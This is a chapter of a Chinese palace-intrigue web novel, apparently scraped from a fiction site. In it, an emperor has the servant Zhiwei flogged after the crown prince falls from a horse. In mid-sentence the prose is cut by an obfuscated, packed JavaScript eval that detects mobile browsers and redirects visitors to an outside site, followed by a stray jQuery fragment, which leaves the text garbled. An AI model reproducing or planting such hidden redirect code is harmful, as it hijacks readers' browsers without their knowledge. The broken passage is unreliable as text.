见到眼前人,知微的心脏猛地一缩,几乎是本能地,她飞快地垂下头,整个人佝偻下去,恨不得缩进地里。
祝隶稷负手,目光扫过知微,眉峰几不可察地蹙了下。
“哪来的臭虫。”他问江覃。
“启禀陛下,那是晏姑娘。”平海先江覃一步,回复道。
祝隶稷瞟他一眼:“我问了吗?”
“是奴才失言。”平海毫不手软,给了自己响亮的一巴掌。
知微头仍是低着,她盯着自己沾了泥污的鞋尖和湿漉漉的裙摆看了许久,才慢慢涩出声。
声音干涩得像砂纸磨过:“奴婢……叩谢陛下救命之恩。”
祝隶稷不答。
知微的额头几乎要抵到冰凉的溪石,方才经历打斗,散乱的鬓发垂下来,遮住了她大半张脸,也掩去了所有可能外泄的情绪。
“奴婢是东宫来的,无意冲撞陛下,罪该万死。”知微又道。
“没听过这号人啊。”祝隶稷的目光在知微身上逡巡,“抬起头来让朕瞧瞧。”
知微缓缓仰头,祝隶稷只看了她一眼。
“原来是故人。”祝隶稷淡淡道。
他的目光还在知微身上游走,看她鸡窝般蓬乱的发髻,看她微微颤抖的肩膀,最后落在她那只即使藏在袖中也能看出不自然弯曲弧度的右手腕上。
他鼻腔里几不可闻地轻哼了一声,像是想说什么刻薄话。
可话到了嘴边,看着那截细瘦伶仃、仿佛一折就断的手腕,他心口莫名地被什么东西刺了一下,泛起一丝极细微却不容忽视的涩意,将那点嘲讽堵了回去。
他最终只是漠然地移开视线,拂袖:“滚起来,挡道。”
“是。”知微低低应了一声,手撑着她,试图站起身。
许是蹲久了,又或是惊吓过度,她的腿脚一阵发软,踉跄了一下。
一旁的江覃下意识伸手想扶,指尖将将触及她的衣袖,又猛地顿住,飞快地收回,只低声道:“小心。”
知微已自己稳住了身形,依旧低着头,默默退到路边,让出通道,像一尊没有生气的泥塑人偶。
祝隶稷刚要转身,平海却脚步匆匆地从车队前方赶来,额上带着急汗。
“陛下,太子殿下那边……惊了马,从马背上摔下来了!”
祝隶稷脚步猛地一顿,侧过头,眼神瞬间沉了下去:“人呢?”
——
祝晟原本是憋着一股气。
他好不容易写完了策论,想着下车透透气,瞧见路边野花开得烂漫,一时兴起摘了几朵,想来回去给知微瞧瞧。
花摘到一半,有人影打在花丛,祝晟抬头看,是一帮随驾出行的世家子弟,最前头的那人是前明镜军统领的义子,也是现金吾卫,李台。
两人年纪相差不少,祝晟自认二人没什么交情,但不知为何,他总觉李台恭敬之下,对他却有抹淡淡的恶意。
“呦,是太子殿下。”李台道,“殿下好雅兴啊!这花可比枪杆子好看多了吧?”
也不知是谁,总归是世家子弟,听得李台的话后不由心生戏谑,也无端跟着哄笑起来。
其实什么都没说,但祝晟不是傻子,知道李台是在嘲弄自己不务正事,不是第一回了,大庭广众之下,祝晟面上无光,脸色涨得通红。
少年心性一起,便将花掷在地上,祝晟冲着侍从道:“牵我的‘逐风’来!”
“逐风”是皇帝赏赐的宝马,祝晟喜爱的很,只这马性子过于烈,同祝晟相性不和,是以祝晟很少骑驭。
侍从们面面相觑,却也不敢违抗太子的命令,只得牵来马匹。
“逐风”威猛,体色呈黑。
祝晟翻身上马,手持马鞭,眼神中满是挑衅:“李台,你不是总吹嘘马术了得吗?只敢在这暗讽,敢不敢与我比试一番?”
闻言,李台豪爽一笑,他平日不言,多年前义父被冤枉的案件却是避不过的心结,眼下有机会发泄,他正求之不得,遂翻身上马:“有何不敢?太子殿下,请吧!”
两匹马一前一后冲了出去。
起初,李台还占着上风,风声过耳,祝晟却慢慢赶上,“逐风”是匹再好不过的千里马,比速度可谓无人能及,祝晟心中憋着劲,只想赢得漂亮,让那些人闭嘴,手中马鞭不由得落得更重了些。
可他到底是骑得少了,忘了“逐风”的性子,马鞭过重,“逐风”猛然吃痛,长嘶一声,脾气来了,速度骤然提升。
前方恰好是个急弯,祝晟控缰不及,身子猛地一歪,竟被直接甩了出去。
“殿下!”惊呼声四起。
危机当前,一道身影疾扑过去,正是李台。他到底身手矫健,险险将祝晟接抱住,两人一起滚倒在草丛里,沾了满身的草屑尘土。
——
太子乍受伤,出巡的队列只得临时扎了营。
营帐内,弥漫着淡淡的金疮药气味。
祝晟额角擦破了一块皮,手腕也有些扭伤,太医已来看过,说是不妨事。可他显然吓坏了,脸色发白,靠在软枕上,一见知微进来,眼圈立刻就红了。
“姑姑……”他声音带着哭腔,像小时候受了委屈那样,“我是不是很没用?”
知微坐在榻边,拿出药膏,小心翼翼地替祝晟擦拭额角的伤处,动作轻柔:“李台是武将,骑艺本就不同寻常。”
“再者说,马惊了是常有事,人没事就好。”知微拍了拍他额头,安慰道。
祝晟吸了吸鼻子,顺势靠进她怀里,知微用左手轻轻拍着他的背,像过去无数次那样。
知微见惯了祝晟这模样,倒是和小时候一般,现下还能哭能闹,想来无什么大碍,现下不过是求关注罢了。
“疼不疼?要不要姑姑给你吹吹?”知微玩笑道。
祝晟猛猛点头,知微正要张嘴,祝晟却又缩回了身子。
“父皇……”祝晟软下声来。知微顺着他的视线看,祝隶稷站在门外,不知听了二人多少对话。
他阴沉着脸,目光如刀,刮过依偎在一起的两人。
祝晟吓得一哆嗦
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16420043|178576||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,忙从知微怀里直起身,想行礼,祝隶稷扬手一巴掌,扇在他脸上。
巴掌清脆,祝晟一边脸红了起来。
祝晟被打懵了,捂着脸,眼中满是惊惧。
“骑术不精,逞强好胜,皇家颜面都被你丢尽了!”祝隶稷的声音没有半分温度,“教养你的宫人呢,叫人来,朕倒要问问怎么便任由你丢人。”
皇子的安危本是大事,祝隶稷纵使平日待人多么严苛,到了要紧关头,也是位担忧孩儿的好父亲。
只知微心头一紧,上前半步:“回陛下,今日是奴婢陪太子出来的。”
祝隶稷的目光这才落到她身上。
“皇子犯错,奴婢亦有责任。来人,将这奴婢拖出去,打十大板,以示警醒!”他冷冷道。
知微早前在辛者库伤过身子,惩罚虽不致命,但多少要见血。
“不要!”祝晟扑到知微身前,张开双臂护住她,“是儿臣自己要比的,跟旁人无关!父皇要罚就罚我!”
见二人举止亲密,祝隶稷不由冷笑。
“你倒是心善,这般菩萨心肠,不如去出家当和尚,还做什么太子!”
此言一出,知微知祝隶稷是真怒了,这样下去谁都保不住。
知微膝盖一软,重重跪在地上:“陛下息怒!是奴婢管教不力,求陛下罚奴婢,饶过太子!”
“此话当真?”祝隶稷俯身,居高临下地捏住知微的面颊,“既然你这么想替他受罚,那就加点料,且受三十大板吧。”
得了指令,两名侍卫上前,架起知微往外走。知微被摁在刑凳上,粗糙的木料硌得她生疼。
木板落在背上的瞬间,剧痛顺着脊椎窜上来,知微死死咬住嘴唇,不让自己发出一点声音。
鲜血很快渗过素色衣料,在地上滴出点点暗红,汗水混着眼泪砸在青砖上,知微却始终抬着眼,直直盯着殿内的祝隶稷。
祝隶稷坐在远处,淡淡喝着茶,一点眼光都不给知微。
午后的太阳正烈,耀得知微眼疲,她也不知道自己到底在看什么,只是死死地盯着那个方向,直到视线彻底被黑暗吞没。
三十板打完,她像一摊被撕碎的破布,软软地从刑凳上滑落,背臀处一片血肉模糊,意识已然涣散。
——
当夜深沉。
知微趴在硬邦邦的板铺上,背后的剧痛一浪高过一浪,火烧火燎般折磨着她每一根神经。她的喉咙干得冒烟,浑身却冷得直打哆嗦,显然是起了高热,整个人昏昏沉沉。
她想伸手去够床头的杯,却没撑住,重重摔在地上。
冰凉的地砖让她清醒了些,还不算完全脱力,她没叫人,只一点点往前爬,指尖快要碰到杯盏时,一只骨节分明的手先一步拾起了杯子。
祝隶稷站着,看着眼前人如同濒死蝼蚁般挣扎。
“想喝水?”祝隶稷的声音带着嘲讽,他倒了杯温水,蹲下身,“朕像喂狗一样喂你,如何?”
知微神志不清,只凭着本能,干裂的嘴唇翕动着,弱弱点头。